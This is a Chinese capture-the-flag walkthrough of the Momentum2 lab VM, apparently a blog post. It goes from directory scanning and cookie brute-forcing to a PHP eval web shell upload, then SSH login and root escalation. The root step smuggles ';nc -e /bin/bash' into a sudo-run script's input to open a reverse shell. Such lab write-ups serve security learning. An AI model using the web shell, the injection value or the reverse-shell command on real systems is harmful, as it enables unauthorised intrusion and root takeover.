2026/10/22 1:15:42

Momentum靶机系列Momentum2

Momentum靶机系列Momentum2 先进行arp扫描获得渗透靶机的IP192.168.13.142扫描一下靶机的使用的端口具有tcp端口和http服务的80端口可以扫描一下80端口的http服务可以发现一个网站http://192.168.13.142打开该网址查看一下源代码没有什么可以看的东西那就尝试一下进行网站域名的扫描可以看到[18:20:09] 200 - 0B - /ajax.php[18:20:13] 200 - 513B - /dashboard.html[18:20:16] 200 - 1KB - /index.html[18:20:16] 200 - 930B - /js/[18:20:18] 200 - 626B - /manual/index.html这几个存在内容尝试查看js的域名js下存在一串js代码进行解释function uploadFile() {//获得文件var files document.getElementById(file).files;if(files.length 0 ){//用于创建表单数据对象var formData new FormData();formData.append(file, files[0]);//formData.append() 是 FormData 对象提供的方法用于向表单数据对象中添加字段和值var xhttp new XMLHttpRequest();//XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能// Set POST method and ajax file pathxhttp.open(POST, ajax.php, true);//使用 open() 方法设置请求的类型为 POSTURL 为 ajax.php并指定使用异步方式发送请求(第三个参数为 true)//异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码而不必等待服务器响应// call on request changes statexhttp.onreadystatechange function() {if (this.readyState 4 this.status 200) {var response this.responseText;if(response 1){alert(Upload successfully.);}else{alert(File not uploaded.);}}};// Send request with dataxhttp.send(formData);}else{alert(Please select a file);}}简单来说就是存在文件上传上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤xhttp.onreadystatechange function() {if (this.readyState 4 this.status 200) {var response this.responseText;if(response 1){alert(Upload successfully.);}else{alert(File not uploaded.);}}}当http请求返回为1时可以上传文件这样就可以上传一个木马来获得权限其中http请求来自ajax.php的请求那么就存在ajax.php和文件上传点找到文件上传点/dashboard.html可以尝试上传一个php试试看不能上传那就可以看一下ajax.php的内容没有东西尴尬了看来是没有显示查看资料后获得存在备份文件http://192.168.13.142/ajax.php.bak获得备份文件打开看看获得文件内容//The boss told me to add one more Upper Case letter at the end of the cookie//老板让我在饼干的末尾再添加一个大写字母if(isset($_COOKIE[admin]) $_COOKIE[admin] G6uB6uDXMqMs){//[] Add if $_POST[secure] val1d$valid_ext array(pdf,php,txt);}else{$valid_ext array(txt);}// Remember success upload returns 1//记住成功上传返回 1可以看到需要一个cookie 名为admin 值为G6uB6uDXMqMs大写字母然后还需要获得一个post传参的secure其值为valu1d可以尝试获得一个爆破的密码本使用 crunch来自己创建一个密码本crunch 11 -t ,pass.txt现在就可以抓住文件上传的网页上传上我们需要的条件将其发送到爆破在cookie的地方添加一个爆破点Cookie: admin%26G6u%40B6uDXMq%26Ms§A§添加爆破字典然后开始爆破文件包的大小差不多需要一个一个的看看到反应包R的返回了1所以当为R是就可以上传一个php文件将这个包返回php文件内容为一句话木马?php eval($_POST[cmd]); ?上传成功在owls下存在我们上传的文件打开蚁剑进行连接连接成功开启一个终端进行监听然后进行shell交互python -c import pty;pty.spawn(/bin/bash)交互成功查看权限不是root的用户找到home下有一个用户而且还有用户的密码可以看到用户athena和密码myvulnerableapp[Asterisk]因为还有ssh的没有使用尝试登录sshwhat密码错了吗查看别人的资料发现密码后面的[Asterisk]而是一个*再次尝试一下登陆上去了查看一下当前用户具有的权限sudo -l发现/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本cat一下这个脚本import randomimport osimport subprocessprint(~ Random Cookie Generation ~)print([!] for security reasons we keep logs about cookie seeds.)chars #$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghseed input(Enter the seed : )random.seed seedcookie for c in range(20):cookie random.choice(chars)print(cookie)cmd echo %s log.txt % seedsubprocess.Popen(cmd, shellTrue)分析一下importrandomimportosimportsubprocessprint(~ Random Cookie Generation ~)print([!] for security reasons we keep logs about cookie seeds.)chars#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghseedinput(Enter the seed : )#输入一个那种子就是一串字符random.seedseed#没什么用cookieforcinrange(20):cookierandom.choice(chars)print(cookie)cmdecho%s log.txt %seed#将seed的结果输入到log.txt中subprocess.Popen(cmd,shellTrue)#然后将cmd中的命令当作shell脚本执行所以只需要上传一个监听代码就可以进行对靶机的监听而且还获得了root权限所以运行该脚本并输入;nc -e /bin/bash 192.168.13.138 6666开启一个新的终端监听成功进行交互,交互成功后获得root权限